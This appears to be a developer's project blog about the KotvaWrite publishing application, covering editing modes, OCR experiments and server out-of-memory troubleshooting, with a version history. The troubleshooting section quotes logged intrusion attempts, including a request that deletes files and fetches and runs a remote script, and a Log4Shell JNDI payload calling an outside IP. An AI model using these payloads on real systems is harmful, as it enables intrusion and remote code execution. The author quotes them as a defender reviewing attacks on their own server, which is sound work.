It is often more comfortable to write when there is more text from the same writing visible, as this reduces memory load. A single text field stretched wide and long is not always convenient enough, so a couple of different text writing modes have been prototyped for experimentation.

In the "sliced" mode, the text is automatically split into several parts at the points where there subtitle is either bold or type of "Header 2". This can be useful e.g. at the phase when one is just preparing to write something and want to keep a large amount of already written text quickly and visually presented. If images or other attachments have been attached to the writing, they remain unchanged, even if they are not displayed in this mode to indicate that they are attached to it. Just a reminder: attaching differs from including, i.e. saving a writing in this view removes particulars that were included to the writing, but leaves attached particulars as they were.

The "spacious" mode attempts to emulate pages placed side by side and underneath each other by using resizable text areas, where text is automatically run through as many other text areas as necessary as the text is typed or after text areas are resized. It is possible to move from one text area to another by using the arrow keys on the keyboard. If images or other attachments are attached to the writing, they will remain unchanged, even if they are not displayed in this mode to indicate that they are attached to the writing.

Spacious mode has a restriction, at least for now, that the font must be a monospaced (fixed width), and there can be no formatting or included images in the writing (they will get removed). Also, the text cannot be copied with the mouse in such a way as to copy the contents of more than one text areas at a time. At the bottom of the first text area there is a resize button that allows adjusting the size of all text areas, e.g. to have two wide and tall text areas next to each other, three oblong text areas next to each other or small text areas in a grid pattern. Excess text areas are automatically deleted or, if more are needed to accommodate the text, they are added. Adjusting the size of the browser window gives more control over how many text areas can be placed side by side. Those that cannot fit on one row will start a new row of text areas.

In spacious mode, it is possible to move text paragraphs forwards or backwards by placing the cursor over a text paragraph and pressing up or down arrow key together with the Ctrl key. The moving text paragraph will then swap places with the adjacent one. This functionality strengthens the feeling that the text is continuous as the text paragraph moves between text areas as well as in the same text area.

Although you can attach image particulars to an open writing by drag'n'dropping them from the "browse particulars" view, the kind of "compactness" offered by the view combining the "browse particulars" and "text editing" views may be preferable, since glancing between two different views requires a subtle mental reorientation. When same time is spent in the same view

When all the time is spent in the same view, no such "extra fumbling" is needed. Editing writing works exactly the same as in the actual "text editing" view, with the difference that images can be added only by drag'n'dropping from the list on the left. As in the "browse particulars" view, images can be viewed in large size (by clicking on the image) and recropped in the modal window that opens (by Ctrl-clicking on the image).

And if there are so many images that you can't even see the writingparticulars list when you look at the bottom ones, it is also possible attach images from the catalogue by clicking on the image while holding down the Alt key.

The information that can be placed to a sideshow panel could be retrieved from external data sources or from the database of the publishing application, and then be presented with pre-defined styling. Instead of latest news of some sort, presentable information could also be e.g some kind of reports and statistics.

Picture 1. Commands to fetch latest news from two different API-service.
Picture 2. Sideshow on a frontpage of a work that uses content list type "Out of ink".
Picture 3. Sideshow on a frontpage of a work that uses content list type "Plain structure".

When you have a lot of pictures and you may not be quite sure what to do with them, ideas can start to form as you put them into some kind of groups, or let the ideas flow while you simply move them apart in some way that feels natural. A variation of the particular browsing view was made in which image-type particulars are first presented in the usual way, laid out on a grid, after which you can start moving them around in the view without any special movement constraints. A large tablet device or a other touchscreen device with a stylus pen becomes a practical combination, as the range of hand movement can be much less than with a mouse.

On a touchscreen device there can could be a feature allowing to grab an image with two fingers and rotate the image while perhaps also resizing it. However, such may be a bit too "gimmickry" without much benefit, so a simple image dragging, supplemented by the possibility to select several images (e.g. for changing their container) may be what you end up with in terms of future functionality.

There might be a longer tradition to develop suitable algorithms to automatically recognize what texts are contained in one kind of image than in another kind. Here are some observations related to a) text recognition from book pages using the ABBYY Cloud OCR SDK, which operates so reliably for all images containing mainly text that it has already been put into production use (in the particular browsing view, when viewing large preview in the modal window), and b) text recognition from photos using the Cloudinary OCR addon, which actually uses Google's Vision API directly. Its recognitions are sometimes of the quality "rather good", but often more like "oh dear, that's not good at all".

Text recognition from book pages

ABBYY's text recognition seems useful as it just doesn't leave much to complain about. It does cause "letter artifacts" (anomalies apparent during visual representation), but this can be considered acceptable. As parameters it is possible to define in what languages texts are to be found. One other useful target for text recognition could be screenshots of web pages.

444 VIL THE MECHANISM OF TIME-BINDING of it can be found by analysis practically everywhere. Our problem is to analyse the general case. Let us follow up roughly the process. We assume, for instance, an hypothetical case of an ideal observer who observes correctly and gives an impersonal, unbiased account of what he has observed. Let us assume that the happenings he has observed appeared as: O, and then a new happening ( occurred. At this level of observation, no speaking can be done, and, therefore, I use various fanciful symbols, and not words. The observer then gives a description of the above happenings, let us say a, b, c, d, . . . , x; then he makes an inference from these descriptions and reaches a con- clusion or forms a judgement A about these facts. Wc assume that facts unknown to him, which always exist, are not important in this case. Let us assume, also, that his conclusion seems correct and that the action A" which this conclusion motivates is appropriate. Obviously, we deal with at least three different levels of abstractions: the seen, experienced ., lower order abstractions (un-spcakable) ; then the descriptive level, and, finally, the inferential levels. Let us assume now another individual, Smiths ignorant of struc- ture or the orders of abstractions, of consciousness of abstracting, of s.r.; a politician or a preacher, let us say, a person who habitually iden- tifies, confuses his orders, uses inferential language for descriptions, and rather makes a business out of it. Let us assume that Smith, observes the 'same happenings’. He would witness the happenings O, |, ..... and the happening would appear new to him. The happenings O, be would describe in the form a, b, c, d, . . . , from which fewer descriptions he would form a judgement, reach a conclu- sion, B; which means that he would pass to another order of abstrac- tions. When the new happening occurs, he handles it with an already formed opinion B, and so his description of the happening ( is coloured by his older s.r and no longer the x of the ideal observer, but B(x) --- y. His description of ‘facts’ would not appear as the a, b, c, d, . . . , x, of the ideal observer but a, b, c, d,..., B(x) = y. Next he would abstract on a higher level, form a new judgement, about ‘facts’ a, b, c, d, . . . , B(x) =y, let us say, C. We see how the semantic error was produced. The happenings appeared the ‘same’, yet the unconscious identification of levels brought finally an entirely different conclusion to motivate a quite different action, A diagram will make this structurally clearer, as it is very difficult to explain this by words alone. On the Structural Differential it is shown without difficulty.

HIGHER ORDER ABSTRACTIONS 445 Seen happenings (un- IDEAL OBSERVER SMITH] speakable) (First order abstrac- tions) ............. Ik-5 .X Description III! I I I! I ( Second order abstrac- tions) ............. a, b, c, d, ... x a, b, c, d,... B(x)=y Inferences, conclusions, iqB and what not. I (Third order abstrac- tions) ............. A c Creeds and other se- I I mantic reactions.... A' c I Action A9 e Let us illustrate the foregoing with two clinical examples. In one case, a young boy persistently did not get up in the morning. In another case, a boy persistently took money from his mother’s pocketbook. In both cases, the actions were undesirable. In both cases, the parents unconsciously identified the levels, x was identified with B(x), and con- fused their orders of abstractions. In the first case, they concluded that the boy was lazy; in the second, that the boy was a thief. The parents, through semantic identification, read these inferences into every new ‘description’ of forthcoming facts, so that the parents’ new ‘facts’ became more and more semantically distorted and coloured in evaluation, and their actions more and more detrimental to all concerned. The general conditions in both families became continually worse, until the reading of inferences into descriptions by the ignorant parents produced a semantic background in the boys of driving them to murderous intents. A psychiatrist dealt with the problem as shown in the diagram of the ideal observer. The net result was that the one boy was not ‘lazy’, nor the other a ‘thief’, but that both were ill. After medical attention, of which the first step was to clarify the symbolic semantic situation, though not in such a general way as given here, all went smoothly. Two families were saved from crime and wreck. I may give another example out of a long list which it is unnecessary for our purpose to analyse, because as soon as the ‘consciousness of abstracting’ is acquired, the avoidance of these inherent semantic dif- ficulties becomes automatic. In a common fallacy of 'Petitio

Text recognition from photos

Nobody likes it when possibly nostalgic places that may have been very significant to someone are presented as photographs in an online city-specific discussion group, to the extent that one might get surprised that they do not have time to relate their feelings about the present and their memories of the past to the kind of intrusive photographs, whose content and the feelings they evoke may not match the observer's personality at all. Hopefully, when the emphasis is not on location or temporality, the response is less likely to be so reluctant. Thus, these photographs taken a couple of decades ago could well be used to demonstrate text recognition from photographs.

However, it turns out that the usefulness of text recognition from photographs leads to the feeling that training of some artificial intelligence component might be required. The Cloudinary OCR addon used here is actually using the Google Vision API and, according to its documentation, cannot be given any parameters to guide text recognition if the texts consist of only Latin alphabets, i.e. the analysis results are the best available. The original images used in the analysis are 2015 x 1512 pixels. Google's Vision API also returns information about where in the image each text is found, which Cloudinary uses to automatically highlight those parts of the images where the analysis indicates that text is present. Discussions have been held with Cloudinary to see if a special pricing for OCR functionality could be made available to users of this publishing application (available on request).


Even when running on a single server KotvaWrite Stories could easily be left for a month without any special monitoring if the number of concurrent users is not overly high. An exception to this assumption may be made in mysterious cases where the memory and disk usage of a virtual server (Linux) momentarily rise quickly and stay in that state for some time. That could crash the application server on which the publishing application is installed. The consequences may not be too critical, as any unfinished database and file saves can/should be fixed and cleaned up semi-automatically, after which a simple restart of the application server might be sufficient to get things back to normal. However, if there is a large number of hacking attempts involved, some OS-level resources may be exhausted, such as the number of open files ("files that are currently being reviewed or modified").

By looking through the log file of the kernel of a Linux operating system in use, one may notice that the Java process has run out of memory on e.g. 15.10.2022, 18.8.2022 and 5.8.2022:

[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)

[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)

[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)

To be a bit more specific, the application server on which the publishing application is installed is actually a Java servlet container running on a Java Virtual Machine (JVM), and it is configurable in which limits the associated Java process is allowed to use memory. Stress tests have shown that certain configurations for memory usage are enough - until for some reason they are not.

On the Linux operating system where the publishing application is installed, two APM (Application Performance Monitoring) agents are separately installed, which collect in real time information e.g. about both the operating system and the publishing application, which can then be viewed in a variety of ways in the web interfaces of the APM services (which might be New Relic and Datadog). In these out of memory cases, one and the same thing has always been found to be true: the amount of web traffic has not been a significant factor at a time when virtual process usage has grown by e.g. a factor of 20 and disk is used in a miraculously large amount in a short period of time. At such times, it is not surprising that the database queries might take more than ten seconds to run instead of the normal few milliseconds.

In addition, there is also an external service such as Papertrail, which can be used for redirecting log data from several sources such as the application server and the operating system, so that the log data does not have to be read in a Linux shell, but instead it can be viewed through a certain kind of web interface. A notion about hackers hava emerger from browsing the gathered logs. It seems that someone or some wannabe hackers etc. have done a lot of some kind of crude experimentation to get through defences of the operating system, application server and release application. This has been ongoing throughout 2022, but not once has there been an attempt to cause a Distributed Denial of Service (DDoS) attack, but e.g. rather a slow experimentation with usernames and passwords spread over a long period of time, with no more than a few dozen attempts per minute. That means every minute, every hour, every day and every month. Couldn't they just do something valid and successful the first time?

Contemplating the cause of the timing of out of memory errors tend to lead to a notion that the timing of some of the hacking attempts happen just seconds before the memory runs out, but could that have something do with not having dedicated servers? That means the same physical hardware resources are used by more than one datacenter client (in other words: a server is actually a so-called virtual server). Sometimes the actual hardware can cause failures, so the cause for problems could also be something other than what can be seen in the available logs and dashboards displaying visualized data. However, the data centre service provider said that was no anomaly to report at the time of the problematic out of memory events.

Normally, when using a Hetzner virtual server, one instance of the CPX21 virtual server with 4 GB of memory and 3 slices of CPU time has been enough for "basic use", but there are other explanations for out of memory errors and other strangely anomalous problems than those already mentioned. E.g. the application server might be way behind the latest version, and the could apply to Java, the programming language used on the server side. There are separate settings for when and how the application server and Java clean up memory to remove things that are no longer needed, but they are rather generally left to their default settings. All of this is quite manageable, but may require lots of monitoring and testing to detect borderline cases.

The remainder of this article contains observations about certain out of memory event. And if this is where one can send greetings to the administration of the publishing application, it should be mentioned that some additional configuration could be done to ensure that the IP addresses wouldn't appear as in the application server logs, but as the original IP addresses. Although, could General Data Protection Regulation (GDPR) have anything to say about this?

Plenty of login attempts in the logfile /var/log/messages:

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from port 55716

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from port 55716:11: Bye Bye [preauth]

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx port 55716 [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from port 53396

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from port 53396:11: Bye Bye [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres port 53396 [preauth]

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from port 37284

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test port 37284 [preauth]

Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from port 49598

Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support port 49598 [preauth]

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from port 55870

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test port 55870 [preauth]

Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from port 26930:11: Bye Bye [preauth]

A few suspicious log lines here and there in the application server log file localhost_access_log: - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507

A few hundred variations to access non-installed web interface: - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784

Trying to gain access by typing parameters and guessing addresses: - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+;sh+/tmp/jaws HTTP/1.1" 404 756 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+;sh+/tmp/jaws HTTP/1.1" 404 756 - - [15/Oct/2022:16:06:46 +0200] "GET / HTTP/1.1" 404 759 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FY3D HTTP/1.1" 200 13720 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1" 404 787

The second log on the application server (catalina) sometimes contains an experiment with imaginary weaknesses:

14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

       java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0x01;0x993Z0x15e}0x005/0x050x010x00...]. HTTP method names must be tokens

15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

   java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0xe40x920x88{#{*<0xc80xec0xfc}l0x820x85\0xcc0x1a0xc0/0x0050xc00x000x00...]. HTTP method names must be tokens

Desktop publishing software InDesign has for a long time allowed all its functionality to be controlled by ExtendScript, so after a while of exploring the InDesign's API, it became clear that it is indeed possible to be used to do what had already been envisioned and what was not dexterous enough with the LaTeX typesetting system. A backup of a project (zip package) contains all the essentials for creating an InDesign version, and in practice that is needed to do is to run a single script in InDesign that first which directory the decompressed files are in and then generates the same work in different form based on the available writings, style definitions etc.

KotvaWrite Stories and KotvaWrite Explanations (2017)

The main purpose of the KotvaWrite has been to make it possible to carry out a large number of layout experiments and adjustments to literary works in a short enough time so that the time spent waiting does not feel long and meaningful results can be reached effortlessly. However, the typesetting system (XeTeX) does not keep up with such a fast pace and that significantly guided the product development and thus it was decided to split it into two different product lines, one (KotvaWrite Stories) producing HTML-based works with a wider range of style options and the other (KotvaWrite Explanations) producing both PDF- and HTML-based works, but with slightly more limited layout and adjustment options.

JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench

Process for generating preview images for a single writing

Java-based code generates a .tex file on the server side and then calls xelatex.exe or pdflatex.exe to produce a .pdf file having its structure and styling mostly affected by the settings made in the web interface. The XeTeX typesetting system makes its best effort to compile the final results on one run, but sometimes it needs to be instructed make another set of calculations after first run. Apache PDFBox is used to generate thumbnails of individual pages for viewing in the web interface.

KotvaWrite 2

It is still a web application for producing book-length, online readable works. The application consists of four parts that can be used for these:

  • Importing of material to be used in writings from multitude of sources.
  • Arranging material and writings.
  • Text writing and editing, compiling writings into a literary work that gets generated on the basis of parameters that affect layout, styling and presentation.

The most significant renovation compared to the previous version has happened at the interface level as it has been completely redesigned. The application has been designed using responsive design to substantially improve the user experience. Some additional features have been added since then (including an automatically generated PDF file and fine-tuning of the print version of the HTML version).

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

KotvaWrite v1.0

KotvaWrite is a useful web application for creating and editing text-based material that can take a book-like structure (in essence, multiple writings placed in collections that can be combined into a larger whole), which can be exported as a PDF file or made readable by others in HTML format. Text can be accompanied by images, illustrations, drawings and certain other types of "attachments" often seen in blog posts.

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

Ancoaarmade (predecessor of KotvaWrite)

The idea was to develop an web application that would serve its users' in needs like: writing down observations, self-learning, organising and publishing information, producing information, organising thoughts and remembering things. The final product will be a set of writings, which can be made public if desired, and which may consist of various collected or generated materials such as video clips, diagrams, pictures, drawings, etc. illustrative material. Material can be brought in from external data sources or from a mobile phone.

Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions